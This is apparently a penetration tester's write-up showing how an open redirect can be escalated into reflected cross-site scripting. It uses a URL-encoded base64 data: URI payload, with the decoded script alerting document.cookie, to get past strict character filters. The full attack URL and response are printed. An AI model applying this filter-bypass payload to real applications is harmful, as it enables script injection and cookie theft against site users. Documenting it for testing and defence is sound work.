Open redirects can very often be escalated to reflected cross site scripting, in fact they can even be abused to bypass strict XSS filters depending on the way the redirect is performed. During a recent penetration test I encountered an example very similar to the following:
URL: http://example.com?redirect=http://example.com/test
Response Body:
<script>
location.href="http://example.com/test?someRandomParam1=blah&someRandomParam2=blah";
</script>
The target application had very strict XSS filters in place, any request with parameters containing quotes, brackets, angle brackets, etc... were immediately rejected and displayed a generic error page.
Consider what happens if we pass the following parameter to the function:
data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llOiAiK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=#
Base64 decoded, the above reads:
<script>alert("cookie: "+document.cookie)</script>
It would look like this, note the URL encoded part is just the payload above, and does not contain any characters that would set off an XSS filter. Also the hashtag on the end is to truncate the payload so that any extraneous parameters that the webserver adds in the response (in this case someRandomParam1 and someRandomPara2) are not interpreted as part of the javascript payload:
URL: http://example.com?redirect=%64%61%74%61%3a%74%65%78%74%2f%68%74%6d%6c%3b%62%61%73%65%36%34%2c%50%48%4e%6a%63%6d%6c%77%64%44%35%68%62%47%56%79%64%43%68%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%62%32%39%72%61%57%55%70%50%43%39%7a%59%33%4a%70%63%48%51%2b%43%67%3d%3d%23
Response Body:
<script>
location.href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llOiAiK2RvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4=#?someRandomParam1=blah&someRandomParam2=blah";
</script>
The following is a screenshot showing the result in the latest version of FireFox:
It's somewhat surprising that this does in fact work since redirects via the "Location:" header are not susceptible to this type of attack. A redirect to a "data:" or "javascript:" URL via the location header will have the script run in it's own context.
Possibly an oversight on the side of the browser vendors JS parser?